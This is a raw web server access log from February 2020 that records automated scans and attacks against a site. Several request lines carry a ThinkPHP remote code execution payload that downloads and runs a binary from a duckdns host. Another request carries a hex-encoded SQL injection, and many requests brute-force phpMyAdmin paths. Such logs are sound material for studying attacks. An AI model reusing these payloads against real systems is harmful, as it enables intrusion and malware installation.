1.53.86.127 - - [02/Feb/2020:23:55:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
146.196.82.203 - - [02/Feb/2020:23:55:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
146.196.82.203 - - [02/Feb/2020:23:55:19 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
146.196.82.203 - - [02/Feb/2020:23:55:24 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
212.91.246.72 - - [02/Feb/2020:23:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
146.196.82.203 - - [02/Feb/2020:23:55:29 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
146.196.82.203 - - [02/Feb/2020:23:55:29 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:30 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:30 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:30 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:31 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:31 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:31 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:31 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:32 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:32 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:32 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:32 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:32 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:33 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:33 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:33 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:33 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:33 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:34 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:34 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:34 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:34 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:35 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:35 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:35 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:35 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:35 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:36 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:36 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:36 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:36 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:37 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:37 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:37 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:37 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:37 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:38 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:38 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:38 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:38 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:38 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:39 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:39 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:39 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:39 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:40 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:40 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:40 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:40 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:40 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:41 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:41 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:41 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:41 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:42 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:42 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:42 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:42 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:42 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:43 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:43 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:43 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:46 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:46 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:47 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:47 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:47 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:47 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:48 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:48 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:48 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:48 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:49 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:50 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:50 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:50 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:51 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:51 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:51 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:51 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:52 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:52 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:52 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:52 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:52 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:53 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:53 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:53 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:54 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:54 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:54 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:55 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:55 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:55 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:55 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:56 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:56 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:56 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:56 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:56 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:57 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:57 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:57 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
146.196.82.203 - - [02/Feb/2020:23:55:57 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
168.228.152.138 - - [02/Feb/2020:23:56:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [02/Feb/2020:23:56:50 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [02/Feb/2020:23:57:33 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:23:57:49 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:23:58:26 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [02/Feb/2020:23:58:30 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:23:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.14.145 - - [02/Feb/2020:23:59:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.201 - - [03/Feb/2020:00:00:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.138.75.88 - - [03/Feb/2020:00:01:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
